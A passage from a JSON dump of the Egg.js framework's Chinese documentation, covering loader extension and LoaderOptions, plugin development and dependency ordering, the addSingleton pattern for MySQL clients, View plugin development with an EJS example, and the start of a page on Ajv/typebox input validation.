服务器监听也在此时开始。此时代表所有插件已加载完成且准备工作已完成，通常用于执行一些启动后置任务。开发者应使用 `didReady` 替代。\n\n## beforeClose\n\n`beforeClose` 注册方法在 app/agent 实例的 `close` 方法调用后，按注册的逆序执行。通常用于资源释放操作，例如 [`egg`](https://github.com/eggjs/egg/blob/master/lib/egg.js) 用于关闭日志、移除监听器等。开发者不应直接使用 `app.beforeClose`，而是通过定义类的形式，实现 `beforeClose` 方法。\n\n**此方法不建议在生产环境使用，因可能会出现未完全执行结束就结束进程的情况。**\n\n另外，我们可以使用 [`@eggjs/development`](https://github.com/eggjs/development#loader-trace) 来查看加载过程。\n\n### 文件加载规则\n\n框架在加载文件时会进行转换，因为文件命名风格与 API 风格有所差异。我们推荐文件使用下划线命名，而 API 使用驼峰命名。例如 `app/service/user_info.js` 会转换为 `app.service.userInfo`。\n\n框架也支持其它风格命名的文件；连字符和驼峰方式命名的文件同样支持：\n\n- `app/service/user-info.js` => `app.service.userInfo`\n- `app/service/userInfo.js` => `app.service.userInfo`\n\nLoader 也提供了 [caseStyle](#caseStyle-string) 设置来强制指定命名方式，如将 model 加载时的 API 首字母大写，`app/model/user.js` => `app.model.User`，可指定 `caseStyle: 'upper'`。\n\n## 扩展 Loader\n\n`Loader` 是一个基类，并根据文件加载的规则提供了一些内置的方法。它本身并不会去调用这些方法，而是由继承类调用。\n\n- `loadPlugin()`\n- `loadConfig()`\n- `loadAgentExtend()`\n- `loadApplicationExtend()`\n- `loadRequestExtend()`\n- `loadResponseExtend()`\n- `loadContextExtend()`\n- `loadHelperExtend()`\n- `loadCustomAgent()`\n- `loadCustomApp()`\n- `loadService()`\n- `loadMiddleware()`\n- `loadController()`\n- `loadRouter()`\n\n`Egg` 基于 `Loader` 实现了 `AppWorkerLoader` 和 `AgentWorkerLoader`，上层框架基于这两个类来扩展。**Loader 的扩展只能在框架进行**。\n\n```js\n// 自定义 AppWorkerLoader\n// lib/framework.js\nconst path = require('path');\nconst egg = require('egg');\n\nclass YadanAppWorkerLoader extends egg.AppWorkerLoader {\n  constructor(opt) {\n    super(opt);\n    // 自定义初始化\n  }\n\n  loadConfig() {\n    super.loadConfig();\n    // 对 config 进行处理\n  }\n\n  load() {\n    super.load();\n    // 自定义加载其他目录\n    // 或对已加载的文件进行处理\n  }\n}\n\nclass Application extends egg.Application {\n  protected override customEggPaths() {\n    return [path.dirname(__dirname), ...super.customEggPaths()];\n  }\n  // 覆盖 Egg 的 Loader，启动时使用这个 Loader\n  protected override customEggLoader() {\n    return YadanAppWorkerLoader;\n  }\n}\n\nmodule.exports = Object.assign(egg, {\n  Application,\n  // 自定义的 Loader 也需要 export，上层框架需要基于这个扩展\n  AppWorkerLoader: YadanAppWorkerLoader,\n});\n```\n\n通过 `Loader` 提供的这些 API，可以很方便地定制团队的自定义加载，例如 `this.model.xx`，`app/extend/filter.js` 等等。\n\n以上只是说明 `Loader` 的写法，具体可以查看[框架开发](./framework.md)。\n\n## 加载器函数（Loader API）\n\nLoader 提供了一些基础 API，方便在扩展时简化代码。想了解所有相关 API，请[点击此处](https://github.com/eggjs/egg-core#eggloader)。\n\n### loadFile\n\n此函数用来加载文件，例如加载 `app/xx.js` 就会用到它。\n\n```js\n// app/xx.js\nmodule.exports = (app) => {\n  console.log(app.config);\n};\n\n// app.js\n// 以 app/xx.js 为例子，在 app.js 中加载此文件：\nconst path = require('path');\nmodule.exports = (app) => {\n  app.loader.loadFile(path.join(app.config.baseDir, 'app/xx.js'));\n};\n```\n\n如果文件导出了一个函数，这个函数会被调用，`app` 作为参数传入；如果不是函数，则直接使用文件导出的值。\n\n### loadToApp\n\n此函数用来将一个目录下的文件加载到 app 对象上，例如 `app/controller/home.js` 会被加载到 `app.controller.home`。\n\n```js\n// app.js\n// 以下只是示例，加载 controller 请用 loadController\nmodule.exports = (app) => {\n  const directory = path.join(app.config.baseDir, 'app/controller');\n  app.loader.loadToApp(directory, 'controller');\n};\n```\n\n`loadToApp` 有三个参数：`loadToApp(directory, property, LoaderOptions)`\n\n1. `directory` 可以是字符串或数组。Loader 会从这些目录中加载文件。\n2. `property` 是 app 的属性名。\n3. [`LoaderOptions`](#LoaderOptions) 包含了一些配置选项。\n\n### loadToContext\n\n`loadToContext` 与 `loadToApp` 略有不同，它是将文件加载到 `ctx` 上，而不是 `app`，并且支持懒加载。加载操作会将文件放到一个临时对象中，在调用 `ctx` API 时才去实例化。\n\n例如，加载 service 文件的方式就用到了这种模式：\n\n```js\n// 以下为示例，请使用 loadService\n// app/service/user.js\nconst Service = require('egg').Service;\nclass UserService extends Service {}\nmodule.exports = UserService;\n\n// app.js\n// 获取所有的 loadUnit\nconst servicePaths = app.loader\n  .getLoadUnits()\n  .map((unit) => path.join(unit.path, 'app/service'));\n\napp.loader.loadToContext(servicePaths, 'service', {\n  // service 需要继承 app.Service，因此需要 app 参数\n  // 设置 call 为 true，会在加载时调用函数，并返回 UserService\n  call: true,\n  // 将文件加载到 app.serviceClasses\n  fieldClass: 'serviceClasses',\n});\n```\n\n文件加载完成后，`app.serviceClasses.user` 就代表 UserService 类。当调用 `ctx.service.user` 时，会实例化 UserService 类。因此，这个类只有在每次请求中首次被访问时才会实例化。实例化后，对象会被缓存，同一个请求中多次调用也只实例化一次。\n\n### LoaderOptions\n\n#### ignore [String]\n\n`ignore` 可用于忽略某些文件，支持 glob 匹配模式，默认值为空。\n\n```js\napp.loader.loadToApp(directory, 'controller', {\n  // 忽略 app/controller/util 目录下的文件\n  ignore: 'util/**',\n});\n```\n\n#### initializer [Function]\n\n对每个文件 export 的值进行处理，此项默认为空。\n\n```js\n// app/model/user.js\nmodule.exports = class User {\n  constructor(app, path) {}\n};\n\n// 从 app/model 目录加载，且可以在加载时进行一些初始化处理\nconst directory = path.join(app.config.baseDir, 'app/model');\napp.loader.loadToApp(directory, 'model', {\n  initializer(model, opt) {\n    // 第一个参数为 export 的对象\n    // 第二个参数为一个对象，里面包含当前文件的路径\n    return new model(app, opt.path);\n  },\n});\n```\n\n#### caseStyle [String]\n\n设置文件命名的转换规则，可选项为 `camel`、`upper` 或 `lower`，默认值为 `camel`。\n\n这些选项都会将文件名转换为驼峰命名，但是首字符的大小写处理不同：\n\n- `camel`：首字母保持不变。\n- `upper`：首字母转为大写。\n- `lower`：首字母转为小写。\n\n根据不同文件类型设置相应的转换规则，如下表所示：\n\n| 文件类型       | `caseStyle` 配置 |\n| -------------- | ---------------- |\n| app/controller | lower            |\n| app/middleware | lower            |\n| app/service    | lower            |\n\n#### override [Boolean]\n\n当存在同名文件时，是否覆盖原有文件，或抛出异常。默认值为 `false`。\n\n例如，当同时加载应用和插件中的 `app/service/user.js` 文件时：\n\n- 若 `override` 设为 `true`，则应用中的文件会覆盖插件中的同名文件。\n- 若设为 `false`，则在尝试加载应用中的文件时会报错。\n\n根据不同文件类型设置 `override` 的配置值，如下表所示：\n\n| 文件类型       | `override` 配置 |\n| -------------- | --------------- |\n| app/controller | true            |\n| app/middleware | false           |\n| app/service    | false           |\n\n#### call [Boolean]\n\n若 export 出的对象是函数，则可以调用此函数并获取其返回值，默认值为 `true`。\n\n根据不同文件类型设置 `call` 的配置值，如下表所示：\n\n| 文件类型       | `call` 配置 |\n| -------------- | ----------- |\n| app/controller | true        |\n| app/middleware | false       |\n| app/service    | true        |\n\n## CustomLoader\n\n`loadToContext` 和 `loadToApp` 方法可以通过 `customLoader` 的配置来替代。\n\n以下是用 `loadToApp` 方法加载代码的示例：\n\n```js\n// app.js\nmodule.exports = (app) => {\n  const directory = path.join(app.config.baseDir, 'app/adapter');\n  app.loader.loadToApp(directory, 'adapter');\n};\n```\n\n改为使用 `customLoader` 后的写法是：\n\n```js\n// config/config.default.js\nmodule.exports = {\n  customLoader: {\n    // 在 app 对象上定义的属性名为 app.adapter\n    adapter: {\n      // 路径相对于 app.config.baseDir\n      directory: 'app/adapter',\n      // 如果用于 ctx，则应该使用 loadToContext 方法\n      inject: 'app',\n      // 是否加载框架和插件的目录\n      loadunit: false,\n      // 也可以定义其他 LoaderOptions\n    },\n  },\n};\n```\n\n参考链接：\n\n- [loader](https://github.com/eggjs/egg-core/blob/master/lib/loader/egg_loader.js)\n- [appworkerloader](https://github.com/eggjs/egg/blob/master/lib/loader/app_worker_loader.js)\n- [agentworkerloader](https://github.com/eggjs/egg/blob/master/lib/loader/agent_worker_loader.js)\n"
  },
  {
    "path": "site/docs/zh-CN/advanced/plugin.md",
    "content": "# 插件开发\n\n插件机制是我们框架的一大特色。它不但可以保证框架核心的足够精简、稳定、高效，还可以促进业务逻辑的复用，生态圈的形成。有人可能会问:\n\n- Koa 已经有了中间件的机制，为啥还要插件呢？\n- 中间件、插件、应用它们之间是什么关系，有什么区别？\n- 我该怎么使用一个插件？\n- 如何编写一个插件？\n\n在 [使用插件](../basics/plugin.md) 章节我们已经讨论过前几点，接下来我们来看看如何开发一个插件。\n\n## 插件开发\n\n### 使用脚手架快速开发\n\n你可以直接使用 [egg-boilerplate-plugin] 脚手架来快速上手。\n\n```bash\n$ mkdir egg-hello && cd egg-hello\n$ npm init egg --type=plugin\n$ npm i\n$ npm test\n```\n\n## 插件的目录结构\n\n一个插件其实就是一个“迷你的应用”，下面展示的是一个插件的目录结构，和应用（app）几乎一样。\n\n```plaintext\n.egg-hello\n├── package.json\n├── app.js（可选）\n├── agent.js（可选）\n├── app\n│   ├── extend（可选）\n│   │   ├── helper.js（可选）\n│   │   ├── request.js（可选）\n│   │   ├── response.js（可选）\n│   │   ├── context.js（可选）\n│   │   ├── application.js（可选）\n│   │   └── agent.js（可选）\n│   ├── service（可选）\n│   └── middleware（可选）\n│       └── mw.js\n├── config\n│   ├── config.default.js\n│   ├── config.prod.js\n│   ├── config.test.js（可选）\n│   ├── config.local.js（可选）\n│   └── config.unittest.js（可选）\n└── test\n    └── middleware\n        └── mw.test.js\n```\n\n那区别在哪儿呢？\n\n1. 插件没有独立的 router 和 controller。这主要出于几点考虑：\n   - 路由一般和应用强绑定的，不具备通用性。\n   - 一个应用可能依赖很多个插件，如果插件支持路由可能会导致路由冲突。\n   - 如果确实有统一路由的需求，可以考虑在插件里通过中间件来实现。\n\n2. 插件需要在 `package.json` 中的 `eggPlugin` 节点指定插件特有的信息：\n   - `{String} name` - 插件名（必须配置），具有唯一性，配置依赖关系时会指定依赖插件的 name。\n   - `{Array} dependencies` - 当前插件强依赖的插件列表（如果依赖的插件没找到，应用启动失败）。\n   - `{Array} optionalDependencies` - 当前插件的可选依赖插件列表（如果依赖的插件未开启，只会 warning，不会影响应用启动）。\n   - `{Array} env` - 只有在指定运行环境才能开启，具体有哪些环境可以参考 [运行环境](../basics/env.md)。此配置是可选的，一般情况下都不需要配置。\n\n     ```json\n     {\n       \"name\": \"egg-rpc\",\n       \"eggPlugin\": {\n         \"name\": \"rpc\",\n         \"dependencies\": [\"registry\"],\n         \"optionalDependencies\": [\"vip\"],\n         \"env\": [\"local\", \"test\", \"unittest\", \"prod\"]\n       }\n     }\n     ```\n\n3. 插件没有 `plugin.js`：\n   - `eggPlugin.dependencies` 只是用于声明依赖关系，而不是引入插件或开启插件。\n   - 如果期望统一管理多个插件的开启和配置，可以在 [上层框架](./framework.md) 处理。\n\n## 插件的依赖管理\n\n和中间件不同，插件是自己管理依赖的。应用在加载所有插件前会预先从它们的 `package.json` 中读取 `eggPlugin > dependencies` 和 `eggPlugin > optionalDependencies` 节点，然后根据依赖关系计算出加载顺序，举个例子，下面三个插件的加载顺序就应该是 `c => b => a`。\n\n```json\n// plugin a\n{\n  \"name\": \"egg-plugin-a\",\n  \"eggPlugin\": {\n    \"name\": \"a\",\n    \"dependencies\": [\"b\"]\n  }\n}\n\n// plugin b\n{\n  \"name\": \"egg-plugin-b\",\n  \"eggPlugin\": {\n    \"name\": \"b\",\n    \"optionalDependencies\": [\"c\"]\n  }\n}\n\n// plugin c\n{\n  \"name\": \"egg-plugin-c\",\n  \"eggPlugin\": {\n    \"name\": \"c\"\n  }\n}\n```\n\n**注意：`dependencies` 和 `optionalDependencies` 的取值是另一个插件的 `eggPlugin.name`，而不是 `package name`。**\n\n`dependencies` 和 `optionalDependencies` 是从 npm 借鉴来的概念，大多数情况下我们都使用 `dependencies`，这也是我们最推荐的依赖方式。那什么时候可以用 `optionalDependencies` 呢？大致就两种：\n\n- 只在某些环境下才依赖，比如：一个鉴权插件，只在开发环境依赖一个 mock 数据的插件。\n- 弱依赖，比如：A 依赖 B，但是如果没有 B，A 有相应的降级方案。\n\n需要特别强调的是：如果采用 `optionalDependencies`，那么框架不会校验依赖的插件是否开启，它的作用仅仅是计算加载顺序。所以，这时候依赖方需要通过“接口探测”等方式来决定相应的处理逻辑。\n\n## 插件能做什么？\n\n上面给出了插件的定义，那插件到底能做什么？\n\n### 扩展内置对象的接口\n\n在插件相应的文件内对框架内置对象进行扩展，和应用一样：\n\n- `app/extend/request.js` - 扩展 Koa#Request 类\n- `app/extend/response.js` - 扩展 Koa#Response 类\n- `app/extend/context.js` - 扩展 Koa#Context 类\n- `app/extend/helper.js` - 扩展 Helper 类\n- `app/extend/application.js` - 扩展 Application 类\n- `app/extend/agent.js` - 扩展 Agent 类\n\n### 插入自定义中间件\n\n1. 首先在 `app/middleware` 目录下定义好中间件实现：\n\n   ```js\n   'use strict';\n\n   const staticCache = require('koa-static-cache');\n   const assert = require('assert');\n   const mkdirp = require('mkdirp');\n\n   module.exports = (options, app) => {\n     assert.strictEqual(\n       typeof options.dir,\n       'string',\n       'Must set `app.config.static.dir` when static plugin enable',\n     );\n\n     // 确保目录存在\n     mkdirp.sync(options.dir);\n\n     app.loggers.coreLogger.info(\n       '[egg-static] starting static serve %s -> %s',\n       options.prefix,\n       options.dir,\n     );\n\n     return staticCache(options);\n   };\n   ```\n\n2. 在 `app.js` 中将中间件插入到合适的位置（例如：下面将 static 中间件放到 bodyParser 之前）：\n\n   ```js\n   const assert = require('assert');\n\n   module.exports = (app) => {\n     // 将 static 中间件放到 bodyParser 之前\n     const index = app.config.coreMiddleware.indexOf('bodyParser');\n     assert(index >= 0, 'bodyParser 中间件必须存在');\n\n     app.config.coreMiddleware.splice(index, 0, 'static');\n   };\n   ```\n\n### 在应用启动时做一些初始化工作\n\n- 我在启动前想读取一些本地配置：\n\n  ```js\n  // ${plugin_root}/app.js\n  const fs = require('fs');\n  const path = require('path');\n\n  module.exports = (app) => {\n    app.customData = fs.readFileSync(path.join(app.config.baseDir, 'data.bin'));\n\n    app.coreLogger.info('Data read successfully');\n  };\n  ```\n\n- 如果有异步启动逻辑，可以使用 `app.beforeStart` API：\n\n  ```js\n  // ${plugin_root}/app.js\n  const MyClient = require('my-client');\n\n  module.exports = (app) => {\n    app.myClient = new MyClient();\n    app.myClient.on('error', (err) => {\n      app.coreLogger.error(err);\n    });\n    app.beforeStart(async () => {\n      await app.myClient.ready();\n      app.coreLogger.info('My client is ready');\n    });\n  };\n  ```\n\n- 也可以添加 agent 启动逻辑，使用 `agent.beforeStart` API：\n\n  ```js\n  // ${plugin_root}/agent.js\n  const MyClient = require('my-client');\n\n  module.exports = (agent) => {\n    agent.myClient = new MyClient();\n    agent.myClient.on('error', (err) => {\n      agent.coreLogger.error(err);\n    });\n    agent.beforeStart(async () => {\n      await agent.myClient.ready();\n      agent.coreLogger.info('My client is ready');\n    });\n  };\n  ```\n\n### 设置定时任务\n\n1. 在 `package.json` 里设置依赖 schedule 插件\n\n   ```json\n   {\n     \"name\": \"your-plugin\",\n     \"eggPlugin\": {\n       \"name\": \"your-plugin\",\n       \"dependencies\": [\"schedule\"]\n     }\n   }\n   ```\n\n2. 在 `${plugin_root}/app/schedule/` 目录下新建文件，编写你的定时任务。\n\n   ```js\n   exports.schedule = {\n     type: 'worker',\n     cron: '0 0 3 * * *',\n     // interval: '1h',\n     // immediate: true\n   };\n\n   exports.task = async (ctx) => {\n     // 你的逻辑代码\n   };\n   ```\n\n### 全局实例插件的最佳实践\n\n许多插件的目的都是将一些已有的服务引入到框架中，如`egg-mysql`、`egg-oss`。它们都需要在 app 上创建对应的实例。而在开发这一类插件时，我们发现存在一些普遍性的问题：\n\n- 在一个应用中同时使用同一个服务的不同实例（连接到两个不同的 MySQL 数据库）。\n- 从其他服务获取配置后动态初始化连接（从配置中心获取到 MySQL 服务地址后再建立连接）。\n\n如果让插件各自实现，可能会出现各种奇怪的配置方式和初始化方式，所以框架提供了 `app.addSingleton(name, creator)` 方法来统一这类服务的创建。需要注意的是，在使用 `app.addSingleton(name, creator)` 方法时，配置文件中一定要有 `client` 或者 `clients` 为 key 的配置。\n\n#### 插件写法\n\n以下代码展示了如何编写这类插件，它是对 `egg-mysql` 插件实现的简化：\n\n```js\n// egg-mysql/app.js\nmodule.exports = (app) => {\n  app.addSingleton('mysql', createMysql);\n};\n\n/**\n * @param  {Object} config   框架处理后的配置项，如应用配置了多个 MySQL 实例，每个配置项会分别传入并多次调用 createMysql\n * @param  {Application} app 当前应用\n * @return {Object}          返回创建的 MySQL 实例\n */\nfunction createMysql(config, app) {\n  assert(config.host && config.port && config.user && config.database);\n  // 创建实例\n  const client = new Mysql(config);\n\n  // 应用启动前检查\n  app.beforeStart(async () => {\n    const rows = await client.query('select now() as currentTime;');\n    app.coreLogger.info(\n      `[egg-mysql] init instance success, rds currentTime: ${rows[0].currentTime}`,\n    );\n  });\n\n  return client;\n}\n```\n\n初始化方法也支持 `async function`，便于有些需要异步获取配置文件的特殊插件：\n\n```js\nasync function createMysql(config, app) {\n  // 异步获取 mysql 配置\n  const mysqlConfig = await app.configManager.getMysqlConfig(config.mysql);\n  assert(\n    mysqlConfig.host &&\n      mysqlConfig.port &&\n      mysqlConfig.user &&\n      mysqlConfig.database,\n  );\n  // 创建实例\n  const client = new Mysql(mysqlConfig);\n\n  // 应用启动前检查\n  const rows = await client.query('select now() as currentTime;');\n  app.coreLogger.info(\n    `[egg-mysql] init instance success, rds currentTime: ${rows[0].currentTime}`,\n  );\n\n  return client;\n}\n```\n\n可以看到，插件中我们只需要提供要挂载的字段和服务的初始化方法，所有配置管理、实例获取方式由框架封装并统一提供。\n\n#### 应用层使用方案\n\n##### 单实例\n\n1. 在配置文件中声明 MySQL 的配置。\n\n   ```js\n   // config/config.default.js\n   module.exports = {\n     mysql: {\n       client: {\n         host: 'mysql.com',\n         port: '3306',\n         user: 'test_user',\n         password: 'test_password',\n         database: 'test',\n       },\n     },\n   };\n   ```\n\n2. 直接通过 `app.mysql` 访问数据库。\n\n   ```js\n   // app/controller/post.js\n   class PostController extends Controller {\n     async list() {\n       const posts = await this.app.mysql.query(sql, values);\n     }\n   }\n   ```\n\n##### 多实例\n\n1. 同样需要在配置文件中声明 MySQL 的配置，不过和单实例时不同，配置项中需要有一个 `clients` 字段，分别声明不同实例的配置。同时，可以通过 `default` 字段配置多个实例中共享的配置（如 host 和 port）。需要注意的是，在这种情况下要用 `get` 方法指定相应的实例。（例如：使用 `app.mysql.get('db1').query()`，而不是直接使用 `app.mysql.query()`，否则可能得到一个 `undefined` ）。\n\n   ```js\n   // config/config.default.js\n   exports.mysql = {\n     clients: {\n       // clientId，可通过 app.mysql.get('clientId') 访问客户端实例\n       db1: {\n         user: 'user1',\n         password: 'upassword1',\n         database: 'db1',\n       },\n       db2: {\n         user: 'user2',\n         password: 'upassword2',\n         database: 'db2',\n       },\n     },\n     // 所有数据库的默认配置\n     default: {\n       host: 'mysql.com',\n       port: '3306',\n     },\n   };\n   ```\n\n2. 通过 `app.mysql.get('db1')` 获取对应的实例并使用。\n\n   ```js\n   // app/controller/post.js\n   class PostController extends Controller {\n     async list() {\n       const posts = await this.app.mysql.get('db1').query(sql, values);\n     }\n   }\n   ```\n\n##### 动态创建实例\n\n我们可以不需要将配置提前声明在配置文件中，而是在应用运行时动态初始化一个实例。\n\n```js\n// app.js\nmodule.exports = (app) => {\n  app.beforeStart(async () => {\n    // 从配置中心获取 MySQL 配置 { host, port, password, ... }\n    const mysqlConfig = await app.configCenter.fetch('mysql');\n    // 动态创建 MySQL 实例\n    app.database = await app.mysql.createInstanceAsync(mysqlConfig);\n  });\n};\n```\n\n通过 `app.database` 使用这个实例。\n\n```js\n// app/controller/post.js\nclass PostController extends Controller {\n  async list() {\n    const posts = await this.app.database.query(sql, values);\n  }\n}\n```\n\n**注意，在动态创建实例时，框架还会读取配置中 `default` 字段的配置作为默认配置项。**\n\n### 插件的寻址规则\n\n框架加载插件时，遵循以下寻址规则：\n\n- 如果配置了 `path`，直接按照 `path` 加载。\n- 没有 `path` 时，根据包名（package name）查找，查找顺序依次是：\n  1. 应用根目录下的 `node_modules`\n  2. 应用依赖框架路径下的 `node_modules`\n  3. 当前路径下的 `node_modules`（主要是兼容单元测试场景）\n\n### 插件规范\n\n我们非常欢迎你贡献新的插件，同时也希望你遵守下面一些规范：\n\n- 命名规范\n  - `npm` 包名应以 `egg-` 开头，且应为全小写，例如：`egg-xx`。比较长的词组应使用中划线：`egg-foo-bar`。\n  - 对应的插件名应使用小驼峰式命名。小驼峰式的转换规则以 `npm` 包名中的中划线为准，例如 `egg-foo-bar` => `fooBar`。\n  - 对于既可以加中划线也可以不加的情况，不做强制约定，例如：`userservice`（`egg-userservice`）或 `user-service`（`egg-user-service`）都可。\n\n- `package.json` 书写规范\n  - 按照上面的文档添加 `eggPlugin` 节点。\n  - 在 `keywords` 里添加 `egg`、`egg-plugin`、`eggPlugin` 等关键字，便于索引。\n\n```json\n{\n  \"name\": \"egg-view-nunjucks\",\n  \"version\": \"1.0.0\",\n  \"description\": \"view plugin for egg\",\n  \"eggPlugin\": {\n    \"name\": \"nunjucks\",\n    \"dep\": [\"security\"]\n  },\n  \"keywords\": [\n    \"egg\",\n    \"egg-plugin\",\n    \"eggPlugin\",\n    \"egg-plugin-view\",\n    \"egg-view\",\n    \"nunjucks\"\n  ]\n}\n```\n\n## 为何不使用 npm 包名来做插件名？\n\nEgg 通过 `eggPlugin.name` 来定义插件名，只需应用或框架具备唯一性，也就是说**多个 npm 包可能有相同的插件名**。为什么这么设计呢？\n\n首先，Egg 插件不仅支持 npm 包，还支持通过目录来寻找插件。在[渐进式开发](../intro/progressive.md)章节提到了如何使用这两个配置进行代码演进。目录对单元测试也更为友好。所以，Egg 无法通过 npm 包名来确保唯一性。\n\n更重要的是，Egg 通过这种特性来做适配器。例如，[模板开发规范](./view-plugin.md#插件命名规范)定义的插件名为 `view`，存在 `egg-view-nunjucks`、`egg-view-react` 等插件，使用者只需要更换插件和修改模板，无需修改 Controller，因为所有的模板插件都实现了相同的 API。\n\n**将相同功能的插件赋予相同的插件名，以及提供相同的 API，可以快速进行切换**。这种做法在模板、数据库等领域非常适用。\n\n[egg-boilerplate-plugin]: https://github.com/eggjs/egg-boilerplate-plugin\n"
  },
  {
    "path": "site/docs/zh-CN/advanced/view-plugin.md",
    "content": "# View 插件开发\n\n绝大多数情况下，我们都需要读取数据后渲染模板，然后呈现给用户。框架并不强制使用某种模板引擎，由开发者自行选型，具体参见[模板渲染](../core/view.md)。\n\n本文将阐述框架对 View 插件的规范约束。我们可以依此来封装对应的模板引擎插件。以下以 [egg-view-ejs](https://github.com/eggjs/egg-view-ejs) 为例。\n\n## 插件目录结构\n\n```bash\negg-view-ejs\n├── config\n│   ├── config.default.js\n│   └── config.local.js\n├── lib\n│   └── view.js\n├── app.js\n├── test\n├── History.md\n├── README.md\n└── package.json\n```\n\n## 插件命名规范\n\n- 遵循[插件开发规范](./plugin.md)。\n- 插件命名约定以 `egg-view-` 开头。\n- `package.json` 的配置如下，插件名以模板引擎命名，例如 ejs：\n\n```json\n{\n  \"name\": \"egg-view-ejs\",\n  \"eggPlugin\": {\n    \"name\": \"ejs\"\n  },\n  \"keywords\": [\"egg\", \"egg-plugin\", \"egg-view\", \"ejs\"]\n}\n```\n\n- 配置项也以模板引擎命名：\n\n```js\n// config/config.default.js\nexports.ejs = {};\n```\n\n## View 基类\n\n接下来需提供一个 View 基类，这个类会在每次请求时实例化。\n\nView 基类需要提供 `render` 和 `renderString` 两个方法，支持 generator function 和 async function（也可以是函数返回一个 Promise）。`render` 方法用于渲染文件，而 `renderString` 方法用于渲染模板字符串。\n\n以下为简化代码，您可以直接[查看源码](https://github.com/eggjs/egg-view-ejs/blob/master/lib/view.js)：\n\n```js\nconst ejs = require('ejs');\n\nMmdule.exports = class EjsView {\n  render(filename, locals, viewOptions) {\n    const config = Object.assign({}, this.config, viewOptions, { filename });\n\n    return new Promise((resolve, reject) => {\n      // 异步调用 API\n      ejs.renderFile(filename, locals, config, (err, result) => {\n        if (err) {\n          reject(err);\n        } else {\n          resolve(result);\n        }\n      });\n    });\n  }\n\n  renderString(tpl, locals, viewOptions) {\n    const config = Object.assign({}, this.config, viewOptions, { cache: null });\n    try {\n      // 同步调用 API\n      return Promise.resolve(ejs.render(tpl, locals, config));\n    } catch (err) {\n      return Promise.reject(err);\n    }\n  }\n};\n```\n\n### 参数\n\n`render` 方法的参数：\n\n- `filename`：是完整文件路径，框架查找文件时已确认文件是否存在，因此这里不需要处理。\n- `locals`：渲染所需数据，来源包括 `app.locals`、`ctx.locals` 以及调用 `render` 方法传入的数据。框架还内置了 `ctx`、`request` 和 `ctx.helper` 这几个对象。\n- `viewOptions`：用户传入的配置，可以覆盖模板引擎的默认配置。这个可根据模板引擎的特征考虑是否支持。例如，默认开启了缓存，而某个页面不需要缓存。\n\n`renderString` 方法的三个参数：\n\n- `tpl`: 模板字符串，没有文件路径。\n- `locals`: 同 `render`。\n- `viewOptions`: 同 `render`。\n\n## 插件配置\n\n根据上述的命名约定，配置名通常为模板引擎的名称，例如 ejs。\n\n插件的配置主要来源于模板引擎的配置，可根据具体情况定义配置项目，如 [ejs 的配置](https://github.com/mde/ejs#options)。\n\n```js\n// config/config.default.js\nmodule.exports = {\n  ejs: {\n    cache: true,\n  },\n};\n```\n\n### helper\n\n框架本身提供了 `ctx.helper` 供开发者使用。但在某些情况下，我们希望覆盖 helper 方法，使其仅在模板渲染时生效。\n\n在模板渲染中，我们经常需要输出用户提供的 HTML 片段，这通常需要使用 `@eggjs/security` 插件提供的 `helper.shtml` 方法进行清洗：\n\n```html\n<div>{{ helper.shtml(data.content) | safe }}</div>\n```\n\n但如上所示，我们需要加上 `| safe` 来告知模板引擎，该 HTML 是安全的，无需再次 `escape`，可以直接渲染。\n\n这样使用起来比较繁琐，而且容易忘记。所以，我们可以进行封装：\n\n- 首先提供一个 helper 子类：\n\n```js\n// {plugin_root}/lib/helper.js\nmodule.exports = (app) => {\n  return class ViewHelper extends app.Helper {\n    // `safe` 是由 [egg-view-nunjucks] 注入的，在渲染时不会进行转义。\n    // 否则在模板调用 `shtml` 时，内容会被转义。\n    shtml(str) {\n      return this.safe(super.shtml(str));\n    }\n  };\n};\n```\n\n- 在渲染时使用我们自定义的 helper：\n\n```js\n// {plugin_root}/lib/view.js\nconst ViewHelper = require('./helper');\n\nmodule.exports = class MyCustomView {\n  render(filename, locals) {\n    locals.helper = new ViewHelper(this.ctx);\n\n    // 调用 Nunjucks 的 render 方法\n  }\n};\n```\n\n具体代码可以在[这里](https://github.com/eggjs/egg-view-nunjucks/blob/2ee5ee992cfd95bc0bb5b822fbd72a6778edb118/lib/view.js#L11)查看。\n\n### 安全相关\n\n模板与安全密不可分。[@eggjs/security] 也为模板提供了一些方法。模板引擎可以根据需求使用这些方法。\n\n首先声明对 [@eggjs/security] 的依赖：\n\n```json\n{\n  \"name\": \"egg-view-nunjucks\",\n  \"eggPlugin\": {\n    \"name\": \"nunjucks\",\n    \"dep\": [\"security\"]\n  }\n}\n```\n\n除此之外，框架还提供了 [app.injectCsrf](../core/security.md#appinjectcsrfstr) 与 [app.injectNonce](../core/security.md#appinjectnoncestr) 方法。更多内容可查看[安全章节](../core/security.md)。\n\n### 单元测试\n\n为了确保插件的高质量，完善的单元测试是不可或缺的。我们也提供了很多辅助工具，以帮助插件开发者毫无障碍地编写测试。具体内容请参见[单元测试](../core/unittest.md)与[插件](./plugin.md)相关章节。\n\n[@eggjs/security]: https://github.com/eggjs/security\n[egg-view-nunjucks]: https://github.com/eggjs/egg-view-nunjucks\n[egg-view-ejs]: https://github.com/eggjs/egg-view-ejs\n"
  },
  {
    "path": "site/docs/zh-CN/basics/ajv.md",
    "content": "# Ajv 入参校验\n\n参考 [@eggjs/typebox-validate](https://github.com/eggjs/egg/tree/master/plugins/typebox-validate) 的最佳实践，结合 ajv + [typebox](https://github.com/sinclairzx81/typebox?tab=readme-ov-file#json-types) + ErrorCode 统一错误码规范，只需要定义一次参数校验 Schema，就能同时拥有参数校验和类型定义（完整的 TypeScript 类型提示）。\n\n> 让请求入参校验变得轻松自然，不再是一件烦恼重复的事情😄。\n\n## 使用方式\n\n### 定义入参校验 Schema\n\n使用 [typebox](https://github.com/sinclairzx81/typebox?tab=readme-ov-file#json-types) 定义，会内置到 tegg 导出\n\n```ts\nimport { Type, TransformEnum } from 'egg/ajv';\n\nconst SyncPackageTaskSchema = Type.Object({\n  fullname: Type.String({\n    transform: [TransformEnum.trim],\n    maxLength: 100,\n  }),\n  tips: Type.String({\n    transform: [TransformEnum.trim],\n    maxLength: 1024,\n  }),\n  skipDependencies: Type.Boolean(),\n  syncDownloadData: Type.Boolean(),\n  // force sync immediately, only allow by admin\n  force: Type.Boolean(),\n  // sync history version\n  forceSyncHistory: Type.Boolean(),\n  // source registry\n  registryName: Type.Optional(Type.String()),\n});\n```\n\n### 从校验 Schema 生成静态的入参类型\n\n```ts\nimport { Static } from 'egg/ajv';\n\n// 不能使用 type，得改成 interface，确保 oneapi 可以识别\n// type SyncPackageTaskType = Static<typeof SyncPackageTaskSchema>;\ninterface SyncPackageTaskType extends Static<typeof SyncPackageTaskSchema> 